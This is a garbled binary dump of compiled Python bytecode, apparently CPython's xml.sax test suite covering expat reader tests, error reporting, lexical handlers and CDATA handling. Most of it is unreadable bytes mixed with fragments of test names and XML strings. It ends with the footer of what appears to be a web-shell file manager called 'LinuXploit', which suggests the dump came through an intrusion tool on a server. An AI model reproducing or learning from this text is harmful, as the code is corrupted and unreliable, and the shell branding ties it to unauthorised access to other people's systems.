r"SS5rSrSr"SS\5rSrSrSrSrSrSr\S5rSrSrSrSr\R@"\!RDS:S \!RDS!35S"5r#S#r$S$r%S%r&\S&5r'S'r(g())�ExpatReaderTestipc�"�[5n[5n[U5nURU5 [	[
S5nUR
U5 SSS5 URUR5[5 g!,(df   N3=fr��
rrr	r�r_�TEST_XMLFILErmr.ro�xml_test_out�r:r�rq�xmlgenras     r;�test_expat_binary_file�&ExpatReaderTest.test_expat_binary_filetsf���������f�%��� � ��(�
�,��
%���L�L��O�&�	
������*�L�9�&�
%�s�B�
Bc� �[5n[5n[U5nURU5 [	[
SSS9nUR
U5 SSS5 URUR5[5 g!,(df   N3=f�N�rtrwr|r�r�s     r;�test_expat_text_file�$ExpatReaderTest.test_expat_text_filesh���������f�%��� � ��(�
�,��|�
<���L�L��O�=�	
������*�L�9�=�
<�s�A?�?
B
c�x�[Rn[R"[U5 UR[RU5 [5n[5n[U5nURU5 UR[US55 URUR5[5 gr�)r�TESTFN_UNICODE�shutil�copyfiler�r�rhrrr	r�rmr_r.ror��r:r�r�rqr�s     r;�test_expat_binary_file_nonascii�/ExpatReaderTest.test_expat_binary_file_nonascii�s���(�(������e�,����	�(�(�%�0��������f�%��� � ��(����T�%��&�'�������*�L�9r>c�N�[R"[5n[5n[	5n[U5nUR
U5 [US5nURU5 SSS5 URUR5[5 g!,(df   N3=fr�)�os�fsencoder�rrr	r�r_rmr.ror�)r:r�r�rqr�ras      r;�!test_expat_binary_file_bytes_name�1ExpatReaderTest.test_expat_binary_file_bytes_name�st�����L�)���������f�%��� � ��(�
�%��
�!��L�L��O��	
������*�L�9��
�s�B�
B$c��[5n[5n[U5nURU5 [	[
S5n[	UR
5SSS9nURU5 SSS5 SSS5 URUR5[5 g!,(df   N;=f!,(df   ND=f)Nr�F)�closefd)rrr	r�r_r��filenormr.ror�)r:r�rqr�ra�f2s      r;�test_expat_binary_file_int_name�/ExpatReaderTest.test_expat_binary_file_int_name�s����������f�%��� � ��(�
�,��
%���a�h�h�j�$��6�"����R� �7�&�	
������*�L�9�7�6��&�
%�s$�B3�B"�-B3�"
B0	�,B3�3
Cc�&�\rSrSrSrSrSrSrg)�ExpatReaderTest.TestDTDHandleri�c� �/Ul/Ulgrg)�
_notations�	_entitiesris r;�__init__�'ExpatReaderTest.TestDTDHandler.__init__�s�� �D�O� �D�Nr>c�>�URRXU45 grg)rr�)r:r��publicId�systemIds    r;�notationDecl�+ExpatReaderTest.TestDTDHandler.notationDecl�s���O�O�"�"�D�H�#=�>r>c�>�URRXX445 grg)rr�)r:r�r r!�ndatas     r;�unparsedEntityDecl�1ExpatReaderTest.TestDTDHandler.unparsedEntityDecl�s���N�N�!�!�4�8�"C�Dr>)rrN)rKrLrMrNrr"r&rOrJr>r;�TestDTDHandlerr�s��	!�	?�	Er>r(c� �\rSrSrSrSrSrg)�"ExpatReaderTest.TestEntityRecorderi�c��/Ulgrg��entitiesris r;r�+ExpatReaderTest.TestEntityRecorder.__init__�s	���D�Mr>c��URRX45 [5nURU5 UR	U5 U$rg)r-r�r�setPublicId�setSystemId)r:r r!�sources    r;�
resolveEntity�0ExpatReaderTest.TestEntityRecorder.resolveEntity�s?���M�M� � �(�!5�6� �]�F����x�(����x�(��Mr>r,N)rKrLrMrNrr3rOrJr>r;�TestEntityRecorderr*�s��	�	r>r5c��[5nUR5nURU5 URS5 URS5 URS5 URS5 URS5 UR	5 URURS/5 URURS/5 g)N�<!DOCTYPE doc [
z-  <!ENTITY img SYSTEM "expat.gif" NDATA GIF>
zW  <!NOTATION GIF PUBLIC "-//CompuServe//NOTATION Graphics Interchange Format 89a//EN">
�]>
r-)�GIFz;-//CompuServe//NOTATION Graphics Interchange Format 89a//ENN)�imgNz	expat.gifr9)rr(�
setDTDHandler�feedrr.rr)r:r��handlers   r;�test_expat_dtdhandler�%ExpatReaderTest.test_expat_dtdhandler�s�������%�%�'�����W�%����'�(����D�E����n�o����F�����M�"���������+�+�
Y�Z�	\�����*�*�-N�,O�Pr>c��UR[RR5 [	5nUR[S5 UR5nURU5 UR[5 URS5 SSS5 URURS/5 g!,(df   N,=f)NT�8<!DOCTYPE external SYSTEM "unsupported://non-existing">
)Nzunsupported://non-existing)r��urllib�request�
urlcleanuprr�rr5�setEntityResolverr'rr<r.r-�r:r��resolvers   r;�test_expat_external_dtd_enabled�/ExpatReaderTest.test_expat_external_dtd_enabled�s���������1�1�2�������.��5��*�*�,��� � ��*�
�
�
�x�
(��K�K�K�
�)�	
������ D�E�	
�	)�
(�s�B8�8
Cc��[5nUR5nURU5 URS5 URS5 UR	5 URUR/5 g)NrAz<doc />)rr5rEr<rr.r-rFs   r;�test_expat_external_dtd_default�/ExpatReaderTest.test_expat_external_dtd_default�sa������*�*�,��� � ��*����G�	
�	���I����������*�*�B�/r>c��\rSrSrSrSrg)�"ExpatReaderTest.TestEntityResolveri�c�N�[5nUR[S55 U$)Ns	<entity/>)rr�r)r:r r!�inpsrcs    r;r3�0ExpatReaderTest.TestEntityResolver.resolveEntity�s!�� �]�F�� � ���!6�7��Mr>rJN)rKrLrMrNr3rOrJr>r;�TestEntityResolverrN�s��	r>rRc��[5nUR[S5 URUR	55 [5nUR
[U55 URS5 URS5 URS5 URS5 UR5 URUR5[S-5 g)NTr7�#  <!ENTITY test SYSTEM "whatever">
r8�<doc>&test;</doc>s<doc><entity></entity></doc>)
rr�rrErRrr�r	r<rr.ror��r:r�rqs   r;�!test_expat_entityresolver_enabled�1ExpatReaderTest.test_expat_entityresolver_enableds���������.��5�� � ��!8�!8�!:�;����� � ��f�!5�6����'�(����:�;����F�����'�(�����������*�E�8�-9�	:r>c���[5nURUR[5S5 UR	UR55 [
5nUR[U55 URS5 URS5 URS5 URS5 UR5 URUR5[S-5 g)NFr7rTr8rU�<doc></doc>)
rr.�
getFeaturerrErRrr�r	r<rror�rVs   r;�!test_expat_entityresolver_default�1ExpatReaderTest.test_expat_entityresolver_defaults����������*�*�+?�@�%�H�� � ��!8�!8�!:�;����� � ��f�!5�6����'�(����:�;����F�����'�(�����������*�E�'�-(�	)r>c� �\rSrSrSrSrSrg)�ExpatReaderTest.AttrGathereri#c��X lgrg��_attrs)r:r�r%s   r;r1�)ExpatReaderTest.AttrGatherer.startElement%����Kr>c��X0lgrgra)r:r��qnamer%s    r;rv�+ExpatReaderTest.AttrGatherer.startElementNS(rdr>raN)rKrLrMrNr1rvrOrJr>r;�AttrGathererr_#s��	 �	 r>rhc���[5nUR5nURU5 URS5 UR	5 URUR5 g)Nr<)rrhr�r<rr<rb�r:r��gathers   r;�test_expat_attrs_empty�&ExpatReaderTest.test_expat_attrs_empty+sL������"�"�$��� � ��(����H����������
�
�.r>c���[5nUR5nURU5 URS5 UR	5 URUR5 g)Nz<doc attr='val'/>)rrhr�r<rrHrbrjs   r;�test_expat_attrs_wattr�&ExpatReaderTest.test_expat_attrs_wattr5sM������"�"�$��� � ��(����'�(���������
�
�.r>c���[S5nUR5nURU5 URS5 UR	5 URUR5 g)NrEr<)rrhr�r<rrBrbrjs   r;�test_expat_nsattrs_empty�(ExpatReaderTest.test_expat_nsattrs_empty?sO���q�!���"�"�$��� � ��(����H�������!�!�&�-�-�0r>c��[S5nUR5nURU5 URS[-5 UR5 URnURUR5S5 URUR5[S4/5 URUR5/:H=(d UR5S/:H5 UR[U5S5 UR[S4U5 URUR[S45S5 URUR[S4S5S5 UR[UR!55[S4S4/5 UR[UR#55S/5 URUR%[S45S5 URU[S4S5 g)NrEz"<doc xmlns:ns='%s' ns:attr='val'/>r$r@rFr&)rrhr�r<rArrbr.r/r0r�r1r2rGr6r4r7r8r))r:r�rkr%s    r;�test_expat_nsattrs_wattr�(ExpatReaderTest.test_expat_nsattrs_wattrIs����q�!���"�"�$��� � ��(����8�6�A�B������
�
��������*�A�.�������)�V�V�,<�+=�>�������*�b�0�:����*�y�k�9�	<�����U��Q�'��
�
�v�v�&��.�������F�F�#3�4�e�<�������F�F�#3�R�8�%�@�����e�k�k�m�,���0@�%�/H�.I�J�����e�l�l�n�-��w�7���������(8�9�5�A�������/�0�%�8r>c���[5n[5n[U5nURU5 UR	[
5 UR
UR5[5 grg)	rrr	r�rmr�r.ror��r:r�rqr�s    r;�test_expat_inpsource_filename�-ExpatReaderTest.test_expat_inpsource_filenamebsK���������f�%��� � ��(����\�"�������*�L�9r>c���[5n[5n[U5nURU5 UR	[[55 URUR5[5 grg)
rrr	r�rmrr�r.ror�rxs    r;�test_expat_inpsource_sysid�*ExpatReaderTest.test_expat_inpsource_sysidlsP���������f�%��� � ��(����[��.�/�������*�L�9r>c�v�[Rn[R"[U5 UR[RU5 [5n[5n[U5nURU5 UR[U55 URUR5[5 grg)rrrr	r�r�rhrrr	r�rmrr.ror�r
s     r;�#test_expat_inpsource_sysid_nonascii�3ExpatReaderTest.test_expat_inpsource_sysid_nonasciivs}���(�(������e�,����	�(�(�%�0��������f�%��� � ��(����[��'�(�������*�L�9r>c�X�[5n[5n[U5nURU5 [	5n[[S5nURU5 URU5 SSS5 URUR5[5 g!,(df   N3=fr�)rrr	r�rr_r�r�rmr.ror��r:r�rqr�rPras      r;� test_expat_inpsource_byte_stream�0ExpatReaderTest.test_expat_inpsource_byte_stream�s|���������f�%��� � ��(����
�,��
%��� � ��#��L�L�� �&�	
������*�L�9�	&�
%�s�#B�
B)c�V�[5n[5n[U5nURU5 [	5n[[SSS9nURU5 URU5 SSS5 URUR5[5 g!,(df   N3=fr)rrr	r�rr_r�r
rmr.ror�r�s      r;�%test_expat_inpsource_character_stream�5ExpatReaderTest.test_expat_inpsource_character_stream�s~���������f�%��� � ��(����
�,��|�
<���%�%�a�(��L�L�� �=�	
������*�L�9�	=�
<�s�
#B�
B(c��[5n[U5n[5nURU5 UR	S5 UR	S5 UR5 UR
UR5[S-5 g)N�<doc>�</doc>rZ)	rr	rr�r<rr.ror��r:rqr�r�s    r;�test_expat_incremental�&ExpatReaderTest.test_expat_incremental�se������f�%������ � ��(����G�����H������������*�E�N�,B�Cr>c���[5n[U5n[5nURU5 UR	S5 UR	S5 [5n[U5nURU5 UR5 UR	S5 UR	S5 UR	S5 UR
5 URUR5[S-5 g)Nr��textr�s<doc>text</doc>)
rr	rr�r<�resetrr.ror�r�s    r;�test_expat_incremental_reset�,ExpatReaderTest.test_expat_incremental_reset�s�������f�%������ � ��(����G�����F������f�%��� � ��(��������G�����F�����H������������*�E�4F�,F�Gr>���rzExpat z" does not support reparse deferralc��[5n[U5n[5nURU5 SHnUR	U5 M URUR
5[5 URURR55 UR5 URURR55 URUR
5[S-5 UR	S5 UR5 URUR
5[S-5 g)N�z<doc�>�<doc>r�rZ)
rr	rr�r<r.ror�r��_parser�GetReparseDeferralEnabled�flushr�r:rqr�r��chunks     r;�#test_flush_reparse_deferral_enabled�3ExpatReaderTest.test_flush_reparse_deferral_enabled�s�������f�%������ � ��(�"�E��K�K���#�	
������*�E�2�������@�@�B�C�����������@�@�B�C�������*�E�H�,<�=����H������������*�E�N�,B�Cr>c���[5n[U5n[5nURU5 SHnUR	U5 M [
RS:�a?URRS5 URUR5[5 URURR55 UR5 URURR55 URUR5[S-5 UR	S5 UR5 URUR5[S-5 g)Nr�r�Fr�r�rZ)rr	rr�r<�pyexpat�version_infor��SetReparseDeferralEnabledr.ror�r�r�r�rr�s     r;�$test_flush_reparse_deferral_disabled�4ExpatReaderTest.test_flush_reparse_deferral_disabled�s������f�%������ � ��(�"�E��K�K���#����9�,��N�N�4�4�U�;����V�_�_�.��6�������A�A�C�D�����������A�A�C�D�������*�E�H�,<�=����H������������*�E�N�,B�Cr>c��[5n[U5n[5nURU5 UR	S5 UR	S5 UR5 UR
UR5S5 UR
UR5S5 UR
UR5S5 g)Nr�r�rE)
rr	rr�r<rr.�getSystemId�getPublicId�
getLineNumberr�s    r;�test_expat_locator_noinfo�)ExpatReaderTest.test_expat_locator_noinfo�s�������f�%������ � ��(����G�����H����������+�+�-�t�4�����+�+�-�t�4�����-�-�/��3r>c��[5n[U5n[5nURU5 UR	[
5 UR
UR5[
5 UR
UR5S5 grg)	rr	rr�rmr�r.r�r�r�s    r;�test_expat_locator_withinfo�+ExpatReaderTest.test_expat_locator_withinfosf������f�%������ � ��(����\�"�����+�+�-�|�<�����+�+�-�t�4r>c��[Rn[R"[U5 UR[RU5 [5n[U5n[5nURU5 URU5 URUR5U5 URUR5S5 grg)rrrr	r�r�rhrr	rr�rmr.r�r�)r:r�rqr�r�s     r;�$test_expat_locator_withinfo_nonascii�4ExpatReaderTest.test_expat_locator_withinfo_nonasciis����(�(������e�,����	�(�(�%�0�����f�%������ � ��(����U������+�+�-�u�5�����+�+�-�t�4r>rJN))rKrLrMrNr�r�requires_nonascii_filenamesrrrr(r5r>rHrKrRrWr\rrhrlrorrruryr|rr�r�r�r��unittest�skipIfr�r�r�r�r�r�r�rOrJr>r;r�r�ps ��	:�	:�!�:�!�:�
:�
:�
E�
E�	�	�Q� 
�"
0���:� )�$ �~� �/�/�1�9�2:�:�!�:�!�:�:�:�
D�H�*�_�_�W�)�)�I�5��g�2�2�3�40�0�1�D�1�D�,D�64�5�!�5�!�5r>r�c�:�\rSrSrSrSrSr"SS5rSrg)	�ErrorReportingTesti$c�j�[5nUR[55 [5nUR	[S55 SnUR
U5 URU5 UR5 g![a*nURUR5U5 SnAgSnAff=f)Ns<foo bar foobar>za file name)rr�rrr�rr1rm�failrr.r�)r:r�r2r�rTs     r;�test_expat_inpsource_location�0ErrorReportingTest.test_expat_inpsource_location%s������� � ��!1�2�������W�%8�9�:������4� �	4��L�L�� ��I�I�K���	4����Q�]�]�_�d�3�3��	4�s�!A>�>
B2� B-�-B2c��[5nUR[55 UR[UR
[
S55 URUR5S5 URUR5S5 g)Nz<foo>�rE)
rr�rr'rrmrr.�getColumnNumberr�)r:r�s  r;�test_expat_incomplete�(ErrorReportingTest.test_expat_incomplete2sh������ � ��!1�2����+�V�\�\�8�G�;L�M�����/�/�1�1�5�����-�-�/��3r>c
�4�[[SSURSS555 [[SSURSS555 [[SSURSS555 [[SSURSS555 g)N�messagerE)�strr�DummyLocatorris r;�test_sax_parse_exception_str�/ErrorReportingTest.test_sax_parse_exception_str9s���	��i��"�/�/��1�5�
7�	8�	��i��"�/�/��a�8�
:�	;�	��i��"�/�/��4�8�
:�	;�	��i��"�/�/��d�;�
=�	>r>c�2�\rSrSrSrSrSrSrSrSr	g)	�ErrorReportingTest.DummyLocatoriKc��XlX lgrg)�_lineno�_colno)r:�lineno�colnos   r;r�(ErrorReportingTest.DummyLocator.__init__Ls��!�L��Kr>c��g)N�pubidrJris r;r��+ErrorReportingTest.DummyLocator.getPublicIdP���r>c��g)N�sysidrJris r;r��+ErrorReportingTest.DummyLocator.getSystemIdSr�r>c��UR$rg)r�ris r;r��-ErrorReportingTest.DummyLocator.getLineNumberVs���<�<�r>c��UR$rg)r�ris r;r��/ErrorReportingTest.DummyLocator.getColumnNumberYs���;�;�r>)r�r�N)
rKrLrMrNrr�r�r�r�rOrJr>r;r�r�Ks��	 �	�	�	 �	r>r�rJN)	rKrLrMrNr�r�r�r�rOrJr>r;r�r�$s��4�4�>�$�r>r�c�,�\rSrSrSrSrSrSrSrg)�
XmlReaderTestibc�8�UR[055 grg)r<rris r;�test_attrs_empty�XmlReaderTest.test_attrs_emptyes������r� 2�3r>c�<�UR[SS055 g)Nr$rF)rHrris r;�test_attrs_wattr�XmlReaderTest.test_attrs_wattrhs��������/?� @�Ar>c�:�UR[0055 grg)rBrris r;�test_nsattrs_empty� XmlReaderTest.test_nsattrs_emptyks���!�!�"2�2�r�":�;r>c��[[S4S0[S4S05nURUR5S5 URUR	5[S4/5 URUR5S/5 UR[
U5S5 UR[S4U5 UR[UR55[S4/5 URUR[S45S5 URUR[S4S5S5 UR[UR55[S4S4/5 UR[UR55S/5 URUR[S45S5 URURS5S5 URURS5[S45 URU[S4S5 URUR![S45S5 g)Nr$rFr@rEr&)rrAr.r/r0r1r2rGr4r5r6r7r8r)r*r+r,r9s  r;�test_nsattrs_wattr� XmlReaderTest.test_nsattrs_wattrns��� �6�6�"2�U�!;�#)�6�"2�Y�!?�A��	
������*�A�.�������)�V�V�,<�+=�>�������*�Y�K�8�����U��Q�'��
�
�v�v�&��.�����e�j�j�l�+�v�v�.>�-?�@�������F�F�#3�4�e�<�������F�F�#3�R�8�%�@�����e�k�k�m�,���0@�%�/H�.I�J�����e�l�l�n�-��w�7���������(8�9�5�A�����.�.�y�9�5�A�����-�-�i�8�6�6�:J�K�������/�0�%�8�����-�-�v�v�.>�?��Kr>rJN)	rKrLrMrNr�r�r�r�rOrJr>r;r�r�bs��4�B�<�Lr>r�c� �\rSrSrSrSrSrg)�LexicalHandlerTesti�c�"�SUlSUlSUlSUlSUlSUl[
5UlURRSRURUR55 URRSRUR55 URRSRUR
S	55 URRS
RUR55 URRS5 URRS5 URRS
5 URRS5 URRS5 URRSRURS	55 URRSRURS55 URRSRURS55 URRS5 URRSRUR55 URRS5 URRS5 URRS5 URRS5 URRSRURSURS	URS55 URRSRUR
S55 URRSRUR55 URRS	5 SUlSUlSUl
SUlSUlSUlSUl/Ulg)Nr�zUTF-8�wish)�nbspr2�target)zComment in a DTDzReally! You think so?z#<?xml version="{}" encoding="{}"?>
z<!DOCTYPE {} [
z<!-- {} -->
rz,<!ELEMENT {} (to,from,heading,body,footer)>
z<!ELEMENT to (#PCDATA)>
z<!ELEMENT from (#PCDATA)>
z<!ELEMENT heading (#PCDATA)>
z<!ELEMENT body (#PCDATA)>
z<!ELEMENT footer (#PCDATA)>
z<!ENTITY {} "&#xA0;">
z&<!ENTITY {} "Written by: Alexander.">
rEz+<!ENTITY {} "Hope it gets to: Aristotle.">
r�r8z<{}>z<to>Aristotle</to>
z<from>Alexander</from>
z <heading>Supplication</heading>
z <body>Teach me patience!</body>
z<footer>&{};&{};&{};</footer>
z</{}>
F)r��specified_version�specified_encoding�specified_doctype�specified_entity_names�specified_commentr�	test_datar`�format�seek�versionrU�
standalone�doctype�publicID�systemID�
end_of_dtd�commentsris r;r��LexicalHandlerTest.setUp�s$�����!&���")���!'���&B��#�";���!���������C�#�V�D�$:�$:�$(�$;�$;�=�	>�	
�����/�#�V�D�$:�$:�;�	=������_�#�V�D�$:�$:�1�$=�>�	@������L�#�V�D�$:�$:�;�	=������8�9������:�;������=�>������:�;������<�=������6�#�V�D�$?�$?��$B�C�	E������F�#�V�D�$?�$?��$B�C�	E������K�#�V�D�$?�$?��$B�C�	E������V�$������V�]�]�4�+A�+A�B�C������3�4������7�8������@�A������@�A������>�#�V�D�$?�$?��$B�$(�$?�$?��$B�$(�$?�$?��$B�D�	E�	
�����_�3�3�D�4J�4J�1�4M�N�O������Y�-�-�d�.D�.D�E�F������A�������
���������
���
������
r>c��"SS[5n[5UlURR[	55 URRSU"U55 [
5nURUR5 URRU5 URURUR5 URUR5 URUR5 UR!UR"5 UR[%UR&5[%UR(55 URSUR(SS3UR&S5 g)Nc�:^�\rSrSrU4SjrSrSrSrSrU=r	$)�<LexicalHandlerTest.test_handlers.<locals>.TestLexicalHandleri�c�2>�[TU]"U0UD6 Xlgrg��superr�test_harness�r:rr��kwargs�	__class__s    �r;r�ELexicalHandlerTest.test_handlers.<locals>.TestLexicalHandler.__init__������� �$�1�&�1�$0�!r>c�d�XRlX RlX0Rlgrg)rr�r�r�)r:r�r�r�s    r;�startDTD�ELexicalHandlerTest.test_handlers.<locals>.TestLexicalHandler.startDTD�s&��,3�!�!�)�-5�!�!�*�-5�!�!�*r>c�&�SURlgr�)rr�ris r;�endDTD�CLexicalHandlerTest.test_handlers.<locals>.TestLexicalHandler.endDTD�s��/3��!�!�,r>c�N�URRRU5 grg)rr�r�)r:r�s  r;�comment�DLexicalHandlerTest.test_handlers.<locals>.TestLexicalHandler.comment�s���!�!�*�*�1�1�$�7r>�r)
rKrLrMrNrrrrrO�
__classcell__�rs@r;�TestLexicalHandlerr�s���
1�
6�

4�
8�
8r>r�-http://xml.org/sax/properties/lexical-handlerrcr)rrr�r�r�setPropertyrr
r�rmr.r�r�rr�r�r�r�r2r�r�)r:rr2s   r;�
test_handlers� LexicalHandlerTest.test_handlers�s��	8��	8� $�o������%�%�n�&6�7������;��t�$�	&�����!�!�$�.�.�1������&�!�������t�'=�'=�>����$�-�-�(����$�-�-�(�������(�����T�]�]�+��T�3�3�4�	6����1�T�3�3�A�6�7�q�9�4�=�=��;K�Lr>)r�r�rUr�r�r�r�r�r�r�r�r�r�r�r�N�rKrLrMrNr�rrOrJr>r;r�r��s��4�lMr>r�c� �\rSrSrSrSrSrg)�CDATAHandlerTesti�c��SUl/UlURRS5 URRS5 SUl[	5UlUR
R
S5 UR
R
S5 UR
R
URSSS35 UR
R
S5 UR
R
S5 UR
R
S	URS
SS35 UR
R
S5 UR
R
S
5 UR
RS5 /UlSUl	g)N)zParseable character dataF)z <> &% - assorted other XML junk.Trz<root_doc>
z<some_pcdata>
�
z</some_pcdata>
z
<some_cdata>
z	<![CDATA[rEz]]>
z</some_cdata>
z</root_doc>
F)
r��specified_charsr��
char_indexrr�r`r��chardata�in_cdataris r;r��CDATAHandlerTest.setUp�s3�����!������#�#�$G�H����#�#�$N�O����!���������^�,������.�/������� 4� 4�Q� 7�� :�;�2�>�?������/�0������-�.������y��)=�)=�a�)@��)C�(D�E�J�K������.�/������_�-������A����
���
r>c���"SS[5n"SS[5n[5UlURR	U"U55 URRSU"U55 [
5nURUR5 URRU5 URUR5 URURS5 g)Nc�4^�\rSrSrU4SjrSrSrSrU=r$)�:CDATAHandlerTest.test_handlers.<locals>.TestLexicalHandleri�c�2>�[TU]"U0UD6 Xlgrgrrs    �r;r�CCDATAHandlerTest.test_handlers.<locals>.TestLexicalHandler.__init__�r	r>c�&�SURlgr��rr#ris r;�
startCDATA�ECDATAHandlerTest.test_handlers.<locals>.TestLexicalHandler.startCDATA�s��-1��!�!�*r>c�&�SURlg)NFr+ris r;�endCDATA�CCDATAHandlerTest.test_handlers.<locals>.TestLexicalHandler.endCDATA�s��-2��!�!�*r>r)	rKrLrMrNrr,r/rOrrs@r;rr'�s���
1�
2�
3�
3r>rc�.^�\rSrSrU4SjrSrSrU=r$)�7CDATAHandlerTest.test_handlers.<locals>.TestCharHandleri�c�2>�[TU]"U0UD6 Xlgrgrrs    �r;r�@CDATAHandlerTest.test_handlers.<locals>.TestCharHandler.__init__�r	r>c���US:waoURnURURnURUSU5 URUSUR5 U=RS-
slgg)NrrrE)rr r!r.r#)r:r	�h�ts    r;rC�BCDATAHandlerTest.test_handlers.<locals>.TestCharHandler.characterssc���d�?��)�)�A��)�)�!�,�,�7�A��M�M�!�A�$��0��M�M�!�A�$��
�
�3��L�L�A�%�L�#r>r)rKrLrMrNrrCrOrrs@r;�TestCharHandlerr2�s���
1�
&�
&r>r9rr�)rrrr�r�rrr
r�rmr�r#r.r!)r:rr9r2s    r;r�CDATAHandlerTest.test_handlers�s���		3��		3�	&�n�	&�$�o������%�%�o�d�&;�<������;��t�$�	&�����!�!�$�.�.�1������&�!�������'�������!�,r>)r!r"r#r�r r�NrrJr>r;rr�s���*#-r>r�__main__rg).)Wrnrrrrrr�r�SkipTest�xml.sax.saxutilsr	r
rrr
r�xml.sax.expatreaderr�xml.sax.handlerrrr�xml.sax.xmlreaderrrr�iorrr��os.pathrr�r�sys�urllib.errorr�urllib.requestrB�test.supportrr�test.support.os_helperrrr��TEST_XMLFILE_OUTrY�UnicodeEncodeError�supports_nonascii_filenames�path�supports_unicode_filenamesr�getfilesystemencoding�UnicodeError�	TypeError�
skipUnlessr�rA�TestCaser!rVr[rbrdr�r�r�r+r�r�r�r�r�r�r�r_rarr�r�r�r�r�rrK�mainrJr>r;�<module>rSs���K�K���8��M�A�A�-�-�-�K�K� �
���
�
�!��"�!�3��
�=�9���N�=�A��A����� ����G�$�#��	�w�w�)�)�,�� � �'�'��(A�(A�(C�D�
'�1�1�#�.�0��
1��2?�(�#�#�2?�jG�
M�
-�zM��!�!�zM�x-2�X�&�&�-2�j18�8�$�$�18�hN9�X�.�.�N9�f_Y�_Y�B#�z�8�#4�#4�#�G�j�(�"3�"3�G�
"��
"�	F�Z��):�):�	F�F�:�x�/@�/@�F�,	9��L��)�)�L�,
�
�D�!�Q��6�6�8�L�"�k5�k�k5�h
6��*�*�6�|L�K�L�BVM��*�*�VM�r9-�x�(�(�9-�x�z���M�M�O���]0�8�
�
�
�6�
7�7�8��6�A�
�
�
�?�
@�@�A��
�)�$�,�',�#�,��B"�!�s5�J�"J;�*K�K(�J8�;K�
K%�$K%�(
K6

Youez - 2016 - github.com/yon3zu
LinuXploit